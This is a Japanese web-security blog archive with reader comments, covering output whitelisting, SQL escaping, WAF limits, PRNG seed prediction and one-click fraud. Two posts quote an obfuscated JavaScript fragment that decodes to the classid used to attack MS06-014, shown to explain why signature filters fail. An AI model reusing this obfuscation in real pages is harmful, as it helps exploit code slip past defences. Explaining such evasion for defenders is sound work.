ビラ配り・今回の問題の説明・請願書のお願いをします。
あまり大掛かりにならないように、気軽に参加できるシンプルな企画を
目指しています。
よろしくお願いします。
最高裁判決と適合させるためだそうです。
訴追請求状はここからhttp://www.geocities.jp/toto_bunko_iza/library/sotsui081202.pdf
宛先: 〒100-8982 東京都千代田区永田町2-1-2 衆議院第二議員会館内裁判官訴追委員会 御中
簡単に予想できたことですが、今後もこのまま継続していくのか注視していかねば。でも、民主は在住外国人に参政権とかまで言ってるからダメかw
http://www.nikkei.co.jp/news/shakai/20091029AT1G2901129102009.html
コメントを残す
PHP 5.3の名前空間仕様が変更されました
名前空間に関する議論は5年以上も行われていたのですが、今度こそ結論が出たようです。
何故このようなエントリを書くかというと、Software Design(技術評論社)の11月号にPHPの最新情報としてα版PHP 5.3を紹介しているからです。入稿後に仕様変更があったので最新号の記事ですが既に内容が古くなってしまいました。
# とは言ってもまだ新しい仕様のPHPは無いですが
α版なので仕様や機能が大きく変更される事もありますが大きな変更がありました。見本誌が刷り上がった頃に名前空間の区切り文字が"::"だと静的にメソッドを呼び出す場合やクラス定数を呼び出す場合に困る場合がある、とPHP開発者のMLで議論になり始めました。
...
ML上、IRC上、オフラインの打ち合わせが行われ、数週間におよぶ議論の結果が昨日MLに投稿されました。名前空間の区切り文字は"::"から"¥"に変更される事になりました。
つまり、
namespace Hoge::Foo::Bar;
は
namespace Hoge¥Foo¥Bar;
とWindowsのパスのように書く事になりました。
":::"にしてはどうか、という意見もありましたが
namespace Hoge:::Foo:::Bar;
と書くよりは"¥"の方が良いかなと思います。
フィードバックはまだありません...
コメントを残す
ホワイトリストとブラックリスト - Firewallの場合
ホワイトリストとブラックリストの議論はFirewallの利用が一般的になる過程で十分に議論され、90年代に議論され尽くした、と思っていました。しかし、解説の余地はまだまだあるようです。Firewallによるセキュリティ対策を簡単に振り返り、セキュアコーディングの現状を考察したいと思います。
...
繰り返しになりますが定義から
ホワイトリスト=許可リスト
ブラックリスト=拒否リスト
セキュリティ対策の原則の一つに、攻撃可能な範囲の最小化、があります。この原則に従うにはリソースへのアクセス許可を最小化(ホワイトリストで可能な限り限定)します。
Firewallによるセキュリティ対策
Firewwallが一般的になり始めたころはインバウンドのパケットフィルタリングに「ブラックリストでも十分効果がある。フィルタリングより脆弱なアプリケーションをアップデートするのが本筋である」のような意見も散見されました。
まさか、今現在このような意見を持つセキュリティ専門家はいないと思いますが昔は専門家と言われるような人でもこのような意見を持つ方もいました。
現在ではFirewallでインバウンドパケットをホワイトリストを作成し、限定したパケットのみを許可する構成にする事に異論がある方はいないと思います。
少し遅れてアウトバウンドパケットのフィルタリングも当たり前になりました。インバウンドパケットのフィルタリングだけでは十分なセキュリティは確保できないので、アウトバウンドパケットのフィルタリングも必要である、と考えられました。そして、アウトバウンドパケットもホワイトリストを作成し、限定したパケットのみ通過させる構成が当たり前になりました。(少なくとも組織レベルのネットワークでは)
現在では、プロキシやステートフルフィルタリング、クライアントレベルでのネットワーク利用の制御などを行い、アウトバウンドパケットに対してホワイトリストを作成して制限するのは当たり前になっています。最近ではあまり使われていないと思いますが、ZoneAlarmをWindowsに必須のアプリケーションとして利用していた方も少なくないと思います。
Firewallにはゲートウェイ型、クライアント型の2種類がありますが、その両方ともにインバウンドとアウトバウンドパケットにホワイトリストを作成し、パケットをフィルタリングする事が当たり前になっています。
言葉を変えると、ネットワークセキュリティ対策として、入力(インバウンドパケット)と出力(アウトバウンドパケット)両方にホワイトリストと適用し、安全性を向上させる事はセキュリティ専門家でなくても当たり前になっていると言えます。
同じコンセプトの適用が遅れるシステム開発
一方、システム開発におけるセキュリティ対策はどうでしょうか?入力のバリデーションがやっと当たり前になったのようですが、出力のセキュリティ対策は不十分なシステムが多数存在します。コーディングレベルでは入力検査は可能な限りホワイトリスト方式で限定的に検査する事が当たり前になりつつありますが、出力のセキュリティレベルを向上させるためにホワイトリスト方式で限定的(安全に)に出力するスタイルはまだまだ一般的とは言えないようです。
セキュリティに真剣に取り組む姿勢がある企業は、出力に対するホワイトリスト方式の導入は数年前から本格的に取り組んでいます。しかし、一般的になったか?というと、残念ながらどうもそうではないと言えるようです。
4 コメント
うちで扱ってる製品も、ホワイトリストを搭載してます。
一部の方は、ホワイトリストでは万全な対応が出来ないような解釈をされていますが、WAFの設置場所が微妙に違うと思うんですが・・・。
WEB - WAF - DB とすれば、DBに到達する様々な悪意有る行動を停められますし、WEBとDBの間にあるからこそ、WEBアプリの仕様次第で、完全なホワイトリストが設定できるんじゃないかと思います。
XSSやCSRF等は停められませんが、SQLインジェクション系はすべて停められると思うんですが、こういう考えはあのパネラーには、無かったのでしょうか。
この製品とWAFとの違いは、DBMS専用であるかないか、ですね。
WAFの問題は検査対象の入力が複数の用途に利用され、出力される事がほとんどであることです。HTML、XML、SQLなど出力先が複数でその出力先にあったエスケープ処理を行わないと、安全性を維持できません。しかし、エスケープ方式や出力時の制約が異なるので全てを守る事は不可能です。つまりダメなアプリはWAFでは守れないことを意味します。「WAFで守る」というよりは「WAFで予防する」(未知の脆弱性を予防する)という考え方で使用すべきです。
なぜ、そこまでして「ホワイトリスト」という言葉にこだわるのでしょうか?
単純に「勘違いしてました」で済む話だと思うのですが・・・
勘違いとはどこを勘違いしているのでしょうか?
勘違いしているのはあなたの方ではないでしょうか?
プログラマには出力時に変数の安全性に十分な注意をしていない人が多過ぎます。最も分り易いと思われるコンセプトが変数をホワイトリスト方式で取り扱う方法です。
変数の取り扱いがいい加減なプログラマの方でどのように変数を取り扱えばより安全なコードとなるか理解できない方なら、勘違いしている、と思っても仕方ないかも知れません。
ホワイトリストとブラックリストは元々、入力用のチェックリストの作り方のコンセプトを表す用語だという事は初めから百も承知です。用語を元々の用途から拡張して使うのはごく普通の事です。「間違っている」とか「勘違いしている」ととらえるのは頭が固過ぎるように思えます。
コメントを残す
ホワイトリストと出力
先週末、まっちゃ445というセキュリティ勉強会にお呼び頂きました。未修正のPHP4/5の脆弱性やパネルディスカッションのパネラーとして話をさせて頂きました。関係者の皆様、いろいろ参考になりました。ありがとうございました。
この勉強会の主題の一つがWeb Application Firewall(WAF)でした。パネルディスカッションのテーマもWAFでした。進行役にはサイバー大学の園田さん、パネラーにはサーボーズラボの竹迫さん、HASHコンサルティングの徳丸さん、そして私の4人でパネルディスカッションを行いました。
3人ともWAFの効用や限界に意見の相違はなかったのですが、私と徳丸さんにはシステム開発に於けるブラックリストとホワイトリストの使い方には意見の相違があったと思います。うまく議論をまとめられなかったのでブログに書きます。
...
出力時におけるホワイトリストの利用
議論を明確にするためにまず、ホワイトリストとブラックリストを定義します。
ホワイトリスト = 許可リスト
ブラックリスト = 拒否リスト
「リスト」ですので列挙可能なもので、アクセス/利用を可否を設定するものであれば、何でもホワイトリストかブラックリストで制限できます。
パネルディスカッションでは入力におけるホワイトリストとブラックリストの効用や使い方が議論になりませんでしたが、出力におけるホワイトリストの利用については意見が異なりました。
徳丸さんは出力におけるホワイトリストの利用は理解できない、ホワイトリストではない、と繰り返されていました。パネルディスカッションの議論からは
- エスケープ無しに出力する変数を列挙するのはホワイトリストではない
- ホワイトリストのチェック対象は変数の中身であり、変数自体の選別するものではない
- そもそも出力にホワイトリストと言う考え方が理解できないし、用語の使い方が間違っている
といったご意見だったと思います。
私の意見は「エスケープ無しでの出力を許可する変数の列挙」はホワイトリストだと考えています。
- 変数自体もリストとして列挙可能(変数の内容の列挙だけがリストではない)
- エスケープ無しで出力する変数は特権を持つ変数
- 先の2つの特性により、出力時に変数を選別するホワイトリストを適用可能
出力における変数のホワイトリスト化は正規表現や許可リストの実体を作成するのではない事(エスケープされていない変数がホワイトリストに載っている変数(許可した変数)と考える)、ホワイトリスト=入力チェックと考えていると私の意見は非情に分かり辛かったと思います。
出力時にホワイトリストを適用するメリット
ソースコード監査を行っている方なら理解されていると思います。データを出力する際に、出力先のシステムが誤作動しないようにエスケープ処理をしていないデータが沢山あると安全性を保証し辛くなります。例えば、HTMLやSQLの出力にエスケープ無しで
print $data1 . $data2 . $data3 . $data4 . $data5;
と記載されていたとします。コード監査ではセキュリティホールの検出も行う場合がほとんどなので、$data1から$data5全てについてデータの起源から加工のされ方を検証しなければならなくなります。
この検証作業は結構手間がかかります。データベース、ファイル、システムが自動的に初期化したデータなどに保存されているデータであっても、起源が外部システムからの入力であったり、バリデーション済みでHTMLに直接出力しても大丈夫であっても、実際には途中で改変可能あったりする、などのケースが無いか調べなくてはなりません。
出力時にエスケープしない特権的な変数をホワイトリスト化し、最小限の特権的変数以外の変数全てを出力先の仕様にあったエスケープを行えば、コード監査が非常に行い易くなります。変数が保持するデータの起源や変更の可能性を検証する必要性が無くなるので当然です。
コード監査が容易になるということは、安全性の確保が容易になる事、セキュリティレベルの向上を意味します。
ブラックリストよりホワイトリスト
セキュリティの基本に「最小権限の原則」と呼ばれるコンセプトがあります。詳しく解説しませんが、ブラックリストを作成するよりホワイトリストを作成した方が最小の権限を与えやすいです。
インターネットのコンテンツを利用したり場合と違って、システムを構築する場合はほとんどの事項を制御下に置く事ができます。自分で制御できる場合はホワイトリストによって「最小権限の原則」を維持できるようにする事が基本です。
ホワイトリストが適用できない場合(リソース的な制限を含む)に限ってブラックリストを利用するようにしなければなりません。
ブラックリストは無用ではない
ブラックリストよりホワイトリストの作成が優先されるべきですが、ホワイトリストだけでシステムは作れません。繰り返しセキュリティ脆弱性を攻撃したり、DoS攻撃を仕掛けてくるようなIPアドレスはブラックリストを作成して対処すべきです。
おまけ
懇親会でSQL文を作成する場合に全てのパラメータを文字列としてエスケープするのは、気持ちが悪いし不必要なのでは?という意見も頂きました。この話題のQ&Aを書いておきます。一部話していない事も追加しています。
Q: 全てのSQLをパーサでこのような書き方がサポートされるのか?
A: DBMSがサポートしていないなら仕方ありませんが、オープンソース系DBMSはサポートしています。
Q: 整数型の場合、整数にキャストで十分(sprinf, (int)でキャスト)では?
A: データベースの場合、IDは通常64bit変数であることが多い。フロント系のWebサーバではint型が符号付き32bit整数である事が多く、著しく狭い範囲しか表現できないので好ましくない、と言うよりキャストで処理すべきでない。
Q: エスケープせずにバリデーションすれば良いのでは無いか?
A: バリデーションでもOKです。しかし、できるだけ単純なセキュリティ対策がないか考慮し、その結果全てのパラメータを文字列として取り扱う事をお薦めしています。
Q: 数値を文字列をして扱う単純なSQL文を使ってベンチマークすると、数値として記述するよりかなり遅いシステムもある。他のシステムでも遅くなるはずだが?
A: セキュリティ対策はオーバーヘッドが必要です。0.01秒が0.02秒や0.05秒になってもより安全性の高いコーディングの方が好ましいと考えています。
Q: DBの処理が遅くなることは大規模システムでは問題では?
A: そもそもクエリで最高のパフォーマンスを求めるのであれば、動的にクエリを生成するのではなく、プリペアードクエリを利用すべきだと考えています。
Q: 文字列として扱う事が気持ち悪いのですが?
A: HTML出力の際に、直接出力を許可した変数以外全てをエスケープすべき、と意見した時も同じような反応でした。慣れの問題だと思います。
Q: PDOのようなアクセス抽象化ライブラリを使った方が良いのでは?
A: 別に構いませんが、基本的なAPIを利用したエスケープ方法も知っているべきだと考えています。抽象化ライブラリではバイナリ型のカラムに別のエスケープ方式を使えなかったり、某フレームワークのアクセス抽象化ライブラリでは正しくエスケープせず、攻撃が可能となるようなエスケープを許していたりしました。
11 コメント
「おまけ」に関して、小生の意見は以下のブログに書いておりますのでご覧ください。お忙しいようであれば、一番最近の「まとめ」をごらんいただければよろしいかと。
数値項目に対するSQLインジェクション対策のまとめ
http://www.tokumaru.org/d/20070924.html#p01
SQLの「暗黙の型変換」で実行速度が遅くなるのはどのような場合か
http://www.tokumaru.org/d/20070614.html
数値項目に対するSQLインジェクション対策
http://d.hatena.ne.jp/ockeghem/20070503/1178208149
数値リテラルをシングルクォートで囲むことの是非
http://d.hatena.ne.jp/ockeghem/20070502/1178042280
変数に型のない言語におけるSQLインジェクション対策に対する考察(1)
http://d.hatena.ne.jp/ockeghem/20070501/1178039408
それを「ホワイトリスト」と呼ぶから意味がわからない、と言われるのではないでしょうか。
ホワイト(ブラック)リストというのは、「素性のわからない何か」に対して、それがリストに含まれるかどうかで「ホワイト(ブラック)」か判断するもの、というのが一般的な意味でしょう。
変数というのはプログラマが自分で作った「素性のはっきりしたもの」で、その変数をどう扱うかを決めるのもプログラマなので、その扱いを決めるためのリストがあったとしてもそれは「ホワイト(ブラック)リスト」ではないと思います。
> A: バリデーションでもOKです。しかし、できるだけ単純なセキュリティ対策がないか考慮し、その結果全てのパラメータを文字列として取り扱う事をお薦めしています。
「バリデーションでもOK」ではなくバリデーションを行った上でこの手法をとるならわかりますが、バリデーションの代わりにはなりません。クエリの失敗は想定していない状況でのみ起こるようにすべきで、単純な入力値の誤りでクエリの失敗が引き起こされるべきではありません。
セキュリティ以前の問題として、クエリの失敗がユーザーのtypoなのか致命的な別の問題なのか、いちいちデータベースが返すエラーメッセージを解析するんでしょうか。そんなことをするよりはバリデーションの段階ではじいた方が確実です。
そもそも、大前提として今や「変数を埋め込んだSQL」を用いること自体が間違いですが。変数は全てバインドパラメータで渡すべきです。より「単純な」方法なのになぜこちらを強調されないのでしょうか。
(当然この場合でも入力値の検証は必要です)
ホワイトリストとはリストの作り方(列挙の手法)のコンセプトです。出力の場合、特権(直接出力)を認める変数を列挙すればホワイトリストと考えれば自然だと思います。変数の扱いをホワイトリストの定義に従って決めれば良い、という単純な考え方です。
分り辛ければリストに従って出力をエスケープする関数がある事を想定すれば分り易いかも知れません。
とにかくアプリケーションにダメダメなコードが多い理由の一つは
>「素性のはっきりしたもの」で、その変数をどう扱うかを決めるのもプログラマ
といった考えに基づいて作っていたからです。数えきれないほどの失敗事例があります。
プログラマが勝手に決めるのでは無く、直接出力が必須かつ確実に安全な変数だけ直接出力するよう、プログラマの頭の中で変数が「白」なのか「黒」なのか良く考えてから直接出力する変数の列挙方法がホワイトリストの作り方と同じと考えています。
この考え方に従って、もっと分り易く、適切な用語(XSSよりJavaScriptインジェクション、HTMLインジェクションのように)があるのであればその用語を使っても良いのかもしれませんがより適切な用語は、今の所思い付きません。
懇親会のQ&Aなので当たり前の事は省略しています。フェールセーフやフールセーフ対策として安全に動的に生成されたSQLを実行する方法を議論していまた。
当たり前のセキュティ対策は既に行っている事が前提です。セキュリティの基本コンセプトである多重のセキュリティとして、クエリ実行前にチェックしてもOK、としています。
要するに入力バリデーションは当たり前で既に必要な対策済みである事が大前提、それでもチェック漏れや勘違い等でエスケープやバリデーションしないとSQLインジェクションが成功してしまうケースも考えられるので、多重のセキュリティとして出力前にチェックしてもOK、という事です。
懇親会の時も私が明確にフェールセーフ/フールセーフ対策と言っていなかったので理解されていない方もいらしたかもしれませんが、フェールセーフ/フールセーフを突き詰めて考えると、全部エスケープかプリペアードクエリが最良だと考えています。
これでもテーブル名やフィールド名の問題が残ります。ORMでも注意が必要になるケースもあります。これらは仕方ないので教育で対処するしか無いでしょう。
ではなおさら"バリデーション*でも*OK"というのは意味がわかりません。バリデーションは当たり前のことではないのでしょうか。さらにそれにつなげて"しかし~"と書かれているので「バリデーションではじく代わりに使え」と読めてしまいます。さらに言うと、
http://gihyo.jp/dev/serial/01/php-security/0014
ではこれが"攻撃目的の入力の検出に使える"と書かれています。
当たり前の事をやった上でのプラスアルファであれば、検出できるのは攻撃目的の入力ではなく入力値の検証漏れではないでしょうか。前者であれば「検出できて良かったね」ですが後者では「プログラムに致命的なバグがある」ということになります。起きたことは同じでも意味は大違いです。
> とにかくアプリケーションにダメダメなコードが多い理由の一つは
> >「素性のはっきりしたもの」で、その変数をどう扱うかを決めるのもプログラマ
> といった考えに基づいて作っていたからです。
という話をするから議論がかみ合わなくなるのでは。
> この考え方に従って、もっと分り易く、適切な用語があるのであればその用語を使っても良いのかもしれませんがより適切な用語は、今の所思い付きません。
だからといってホワイトリストと呼ぶのは適切ではない、という話です。
「全部エスケープしてから出力」という手法について主張されたいのであれば、ホワイトリストという誤解を招く言葉を使わない方がいいでしょう。
「変数を列挙したものもホワイトリストと呼んでもいいではないか」という主張をしたいのであれば、現在の方法への批判とかどうセキュリティに貢献するかという話はされずに、ホワイトリストとはなんぞやという定義に絞って話をされたほうがいいでしょう。
どこでどれくらいのエラー検出をするのか? という問題はシステム設計の問題です。
SQL文生成の場合、既にバリデーション済みの変数と想定されるもの(例えば、IDなど)に再度同じバリデーション処理(例えば、IDの場合、符号無し整数であること)を行うのはオーバーキルだ、と考えて良いシステムの方が多いです。出力の場合は「バリデーションではじく代わりに使え」(全部エスケープする)で十分でしょう。不十分と考えられるシステムであれば出力時もバリデーションすればよいでしょう。
フェイルセーフとフェイルディテクトは別の考え方になります。私が常に言っているのは入力時に厳しいバリデーションを完全に行いましょう、そして出力時には万が一バリデーションが不十分であったり、予想していない経路で改変された変数があっても、セキュリティホールにならない様に出来る限り安全に失敗するフェイルセーフを考えましょう、という事です。ほとんどのシステムでは出力時の不正な入力の検出はオプション項目だと思っています。
>> >「素性のはっきりしたもの」で、その変数をどう扱うかを決めるのもプログラマ
>> といった考えに基づいて作っていたからです。
>という話をするから議論がかみ合わなくなるのでは。
何故有用なのか理解されていないように感じたので事実を書いたまでです。
>> この考え方に従って、もっと分り易く、適切な用語があるのであればその用語を使っても良いのかもしれませんがより適切な用語は、今の所思い付きません。
>だからといってホワイトリストと呼ぶのは適切ではない、という話です。
明確にホワイトリストの定義を行い、出力時にも同じくその考え方が使え、ホワイトリストの考え方を適用した方が安全なコードになる、と言っています。
どうして「出力時にホワイトリストの考え方を適用するのが適切ではない」と考えられるのですか?
用語として利用方法がおかしいと思われるのであれば、ホワイトリストの定義を書かれて、何故適切でないか書かないと議論は進まないと思います。
そんな話はしていませんよ。用語の使い方についてしか述べていないのに、「手法」について反論されるので話がかみ合わないのです。
>そんな話はしていませんよ。用語の使い方についてしか述べていないのに、「手法」について反論されるので話がかみ合わないのです。
もともと「用語の正しい定義と利用」について異論があるなら「用語の正しい定義]を示し、正しい用法を例示しなければなりません。それをしないで「同じ手法」で「出力もより安全にできる」と解説してことがおかしいと言われても困ります。
これらを示さずに「間違っている」と言われても議論が噛み合ないのは当然ではないでしょうか?
間違っている、と指摘されているのですから、どこがどう間違っているのかご指摘頂けると助かります。この件に関する議論で明確な用語の定義や抽象的でない論理的なご意見はまだ頂いていません。
コメントを残す
乱数生成器の取扱い - PHPとPython
Stefan Esser氏のブログでmt_srandとそれほどランダムでない乱数(mt_srand and not so random numbers)というエントリが8/17に掲載されています。気になっていたのでPythonの実装も調べてみました。
...
乱数生成器は擬似乱数生成器
PHPの乱数生成器にはrandとmt_randの2種類がありますが、randはlibcのラッパー関数でmt_randはMersenne Twisterアルゴリズムを利用した乱数生成器です。乱数生成器といってもどちらも擬似乱数生成器なのでそれぞれ、srandとmt_srandで与えたシード同じであればその後に生成される乱数(擬似乱数)は同じになります。これはコンピュータサイエンス系の学科を専攻していれば常識ですが、ご存知でない方も少なくないと思います。
シードの予測
擬似乱数なのでシードが判れば、生成される乱数は予測できます。Stefan氏のブログに詳しく記述されているのでここで同じ説明はしませんが、この事をうまく利用すると擬似乱数で生成したランダムなはずのパスワードを推測可能になります。Stefan氏のブログにはWordPressのパスワードを推測する手法が詳しく解説されています。
Pythonの実装
PHPで起きる(起こっていた)ような脆弱性は他の言語やライブラリ、フレームワークでも同じように攻撃できる事が多いです。そこで、Python 2.6RC2の実装はどうなっているか、さっとソースを斜め読みですが眺めてみました。Modules/_randommodule.cにコードがあり、擬似乱数生成器にはPHPと同じMersenne Twisterが利用されシードもPHPと同じ32bitでした。
リファレンスではシードは次のように初期化されると書かれています。
seed( [x])
基本乱数生成器を初期化します。オプション引数 x はハッシュ可能な任意のオブジェクトをとり得ます。x が省略されるか None の場合、現在のシステム時間が使われます; 現在のシステム時間はモジュールが最初にインポートされた時に乱数生成器を初期化するためにも使われます。乱数の発生源をオペレーティングシステムが提供している場合、システム時刻の代わりにその発生源が使われます(詳細については os.urandom() 関数を参照)。 バージョン 2.4 で 変更 された仕様: 通常、オペレーティングシステムのリソースは使われません
x が None でも、整数でも長整数でもない場合、 hash(x) が代わりに使われます。 x が整数または長整数の場合、x が直接使われます。
http://www.python.jp/doc/nightly/lib/module-random.html
コードとリファレンスマニュアルからはStefan氏がブログで書いているのと同じ手法が使える場合がある事が分かります。
蛇足ですがPHP 4.2.0からシードは自動的に行われます。Pythonの場合、/dev/urandomがあると利用するようですがPHPは利用しません。しかし、時刻とプロセスIDを利用し初期化されるようになっています。現在のPHPでは自分で
mt_srand(microtime()*1000000);
等の様に初期化するより、PHPに初期化を任せた方が安全です。
乱数生成器の取扱い
乱数生成器の出力をそのままユーザへ出力すると、シードを推測されしまうリスクが高くなります。乱数生成器からの出力はそのまま出力しないようにするべきです。できれば/dev/urandomのように乱数デバイスを利用するのが良いですが、固定でも良いのでランダムな文字列と一緒にハッシュ値を取った値にする等の方法を利用すべきです。
共有型Webホスティングサービスを利用しない理由は他にもいろいろありますが、理由の一つとして覚えておいて損はないと思います。
6 コメント
64bitに拡張する事によりルックアップテーブルの作成はかなり困難になりますが、擬似乱数をそのまま出力してしまう設計は行わない方が良いでしょう。
Since 5.2.1 The Mersenne Twister implementation in PHP now uses a new seeding algorithm by Richard Wagner. Identical seeds no longer produce the same sequence of values they did in previous versions. This behavior is not expected to change again, but it is considered unsafe to rely upon it nonetheless.
php -r "mt_srand(1234); echo mt_rand(0, 100000);"
等とすれば分かりますが、同じ乱数が生成されます。この記述はPHP 4.2.0以降のPHPでは時間とプロセスIDを利用したphp_combind_lcg関数(PHPの内部関数)によって自動的に初期化される仕様と混同(?)している可能性があります。
プロトタイプは
mcrypt_craete_iv(int size[, int source])
で、sourceには/dev/random(MCRYPT_DEV_RANDOM), /dev/urandom(MCRIPYT_DEV_URANDOM)を利用できますが、ソースを指定しない(MCRYPT_RANDOM)とphp_rand(libcのrandのラッパー。初期化は自動的に行われる)が利用されます。
sizeで指定した分だけのデータをrandom/urandomから読み出します。MCRYPT_RANDOMの場合、ループになっていてsizeの回数だけphp_randを呼んでInitilization Vectorを作成します。
MCRYPT_RANDの場合、mt_randの方を呼んだ方が良いと思いますが、初期化の方法としては妥当と言えると思います。
その通りですが現実的にはランダムパスワードの生成などに疑似乱数が使われている事が多いと思います。
個人的には、ランダムパスワードの生成には/dev/urandomから200バイトほど読み取り、SHA1などでハッシュと取り、その一部を切り出す方法が好みです。
コメントを残す
Webセキュリティ - 正しい認識が必要
大規模なWebサイト構築を行っている方ならF5にお世話になっている方も多いでしょう。F5のブログで私と全く同じ意見のブログ - Why it's so hard to secure JavaScriptを見つけたので紹介します。
...
Webクライアント側でのページフィルタリングは有用なのか?でシグニチャベースのページフィルタリングは有用では無いと書きましたが、WAF(Web Application Firewall)を販売しているF5の方も同じ考えです。
As we learned from preventing SQL injection and XSS, attackers are easily able to avoid detection by these systems by simply adding white space, removing white space, using encoding tricks, and just generally finding a new permutation of their code.
「スペースを足したり、引いたり、エンコーディングのトリックと使ったり、新しい形の攻撃コードを見つけ、攻撃者はSQLインジェクションとXSSを防ぐシステムを簡単に回避してしまいます。」
この部分はWAFでの経験を紹介しているものと思われます。
Parsing is, of course, the best answer.
「もちろんパースするのが最善の解決策です」
その通りです。SQLにしても、XMLにしても、JavaScriptにして、実際に行われる処理を攻撃を検出するデバイスで行う方法が最も最適です。この方法はクライアント型ならなんとかなりますが、プロキシ型ではパフォーマンスの問題は大きな問題となります。
While almost all web application security solutions - ours included - are capable of finding specific attacks like XSS and SQL injection that are hidden within JavaScript, none are able to detect and prevent JavaScript code-based exploits unless they can be identified by a specific signature or pattern.
「ほとんどのWebアプリケーションソリューション、我々(F5)のソリューションを含め、JavaScriptに隠された特定のXSSとSQLインジェクション検出できます。しかし、特定のシグニチャかパターンによって検出できなければ、どのソリューションもJavaScriptコードベースの攻撃を検出・防御できません。」
パース(実行)していない、のですから当たり前の事です。
Webクライアント側でのページフィルタリングは有用なのか?ではクライアントサイドのセキュリティソリューションとしてページフィルタリングの有効性と限界について紹介しました。このフィルタリングの有効性と限界は全く原理で動作しているWAF(Web Application Firewall)にも当てはまります。極端な例ですが、Webクライアント側でのページフィルタリングは有用なのか?で紹介したようなJavaScriptコードをWAFで検出するのは至難の技です。
start();
function z_sa(o,p,v){ o.setAttribute(p,v); }
function start(){
var z = document.createElement('object'); z_sa(z,'id','z');
z_sa(z,'classid',"cjlWsTiWdI:HBWDH9T6jCT5T5H6T-T6I5IAj3j-"
"W1W1IDH0I-W9H8W3HAT-I0T0WCH0W4jFICW2T9TEI3T6T".replace(/[WHjIT]/g, ''));
ブログなどでJavaScriptの貼り付けを許可する場合、WAFで守るのではなくアプリケーションで守らないと無防備でいるのと変わりません。
サーバ側の開発者は取り合えず自分のサイトだけ安全性を確保すれば良いので、セキュリティを考慮して開発すれば何とかなりますが、クライアント側の対策は難しいです。プロキシ等でJavaScriptを利用した攻撃からクライアントを守っているつもりの企業も、JavaScriptを利用した攻撃には、現状では、ほとんど無防備な状態と変わらない事を知る必要があります。
シグニチャベース(ブラックリスト型)のセキュリティソリューションは無用ではありませんが、その限界を正しく知るべきです。
今のところNoScript等で選択的にJavaScriptを実行する方法がJavaScriptの攻撃から最も効果的に守るソリューションです。
関連:
NoScriptの使い方 - ちょっと古いです。近日中に更新版を書こうと思います。
安全にInternet(ブラウザ)を利用する為のTips
1 コメント
コメントを残す
IPAがワンクリック詐欺に注意喚起
【注意喚起】ワンクリック不正請求に関する相談急増!
http://www.ipa.go.jp/security/topics/alert20080909.html
これによるとワンクリック詐欺が増えているらしい。少なくとも相談件数は増えている。

IPAの資料によるとユーザがアプリケーションを実行してしまう事が原因と解説されています。
相談の主な内容は、動画を見ようとして、[再生]ボタンなどをクリックした結果、請求書を表示するウィンドウ(図2)がデスクトップ画面に貼り付いて、画面から削除しても繰り返し表示されてしまうというものです。
この現象は、動画を見るつもりでクリックをし続けた結果、請求書を繰り返し表示するウイルスプログラムを取り込んでしまったことにより起こっています。
取り込む際には、Windows の警告画面が出ていたはずですが、被害者は、皆、その警告を無視してクリックをし続けて自らウイルスを取り込んでしまっています。
アプリケーションまで実行してしまうユーザも数多くいるようです。
これはWeb開発者にとってもかなりの脅威です。Webブラウザにユーザ名とパスワードを保存している利用者も多いと思います。私は全てのサイトで異なるパスワードを利用しています。とても覚えきれないのでブラウザにパスワードを保存しています。当然ですがマスターパスワードを設定しています。
しかし、一般のユーザはどれだけこれらのファイルを暗号化して保護しているでしょうか? Yahooオークションでユーザが知らない内に不正に出品される事件が発生しているそうですが、この原因には
- クラックによるユーザ名とパスワードの漏洩
- WiFiなどの盗聴によるユーザ名とパスワードの漏洩
- トロイの木馬によるユーザ名とパスワードの漏洩
などが考えられるのでは無いでしょうか? Yahooオークションで不正出品が大量に行われている問題は、Yahoo自体の問題より、他のサイトのセキュリティ脆弱性やユーザの誤ったネットワーク利用の問題の方がより重大な問題ではないかと思います。
Yahooオークションにも不正な出品を防ぐシステム作りをする責任がありますが、ユーザ自身もコンピュータを利用するリスクを正しく知る努力が必要だと思います。
- インストールされたソフトを最新の状態に保つ
- 危険なネットワークは利用しない(WEPは平文だと考えるべき)
- 同じパスワードは利用しない
- ブラウザにマスターパスワードを設定する
- 無闇にインターネットからダウンロードしたファイルを開かない・実行しない
- ログイン前にはアドレスバーのアドレスを確認する
最低限、これくらいは注意を払ってもらわないと、いくらWeb開発者が安全なWebサイト作りに留意しても安全にWebサイトを利用できません。
ブラウザ開発者も保存されたパスワードやクッキーはデフォルトで暗号化すべきだと思います。そろそろ利便性より安全性を重視したデフォルトにする時期だと思います。
フィードバックはまだありません...
コメントを残す
Webクライアント側でのページフィルタリングは有用なのか?
悪意のあるページからブラウザを保護する為のフィルタリングツールにはクライアントにインストールするタイプ、プロキシタイプなどある。これらのツールは本当にクライアントを保護できているのだろうか?
最近の攻撃は悪意のあるサイトにアクセスしなくても、広告から悪意のあるサイトに誘導されたり、SQLインジェクションやネットワークレベルの攻撃で悪意のあるページへのiframeを挿入される事例が多い。
個人的にはこれらのフィルタリングツールを使用した事はないが、これらのツールの有用性には疑問が多い。JavaScriptの難読化には多くの手段がある。例えば、.replaceを利用する方法がある。
start();
function z_sa(o,p,v){ o.setAttribute(p,v); }
function start(){
var z = document.createElement('object'); z_sa(z,'id','z');
z_sa(z,'classid',"cjlWsTiWdI:HBWDH9T6jCT5T5H6T-T6I5IAj3j-"
"W1W1IDH0I-W9H8W3HAT-I0T0WCH0W4jFICW2T9TEI3T6T".replace(/[WHjIT]/g, ''));
replace(/[WHjIT]/g, '')
によって
clsid:BD96C556-65A3-11D0-983A-00C04FC29E36
と変換され、RDS.Dataspaceの脆弱性 MS06-014を攻撃するためコードなる。
出典:http://dvlabs.tippingpoint.com/blog/2008/08/14/threatlinq-javascript-bad-juju
他にもJavaScriptの難読化やURLの動的生成など、単純なブラックリスト方式の防御を無効化する手法はいろいろあります。
一般ユーザは本当にWebを利用する危険性を理解しているのか心配になります。
1 コメント
セキュリティ対策としてフィルタリングソフトを導入していても、できる限り早くセキュリティパッチを適用する重要性が十分理解されているのか、ちょっと心配になったのでこのエントリを書きました。
コメントを残す
このブログの障害
昨日の午前11時半頃からデータベースサーバのメモリ不足エラーにより、このブログへアクセスするとMySQLサーバエラーが表示される状態でした。DoSなどの攻撃ではなく、単純にデータベースサーバに利用していたマシンのトラブルでした。DB専用機だったので最近はソフトウェア的な変更はありませんでした。割と古いマシンなのでハードウェア障害の疑いもあります。
DBサーバを再起動した際にローカルからのアクセスではhit logが記録されない為、MySQLのテーブルが壊れている事に気がつきませんでした。現在はmyisamchkで修復して動作させています。
詳しく調査するにはマシンを入れ替えなければなりませんが、現在の所、マシンの入れ替えは行っていません。来週、設置場所を変更する予定ですので、その時に入れ替えて調査します。
ご連絡をいただいた方、ありがとうございました。
フィードバックはまだありません...
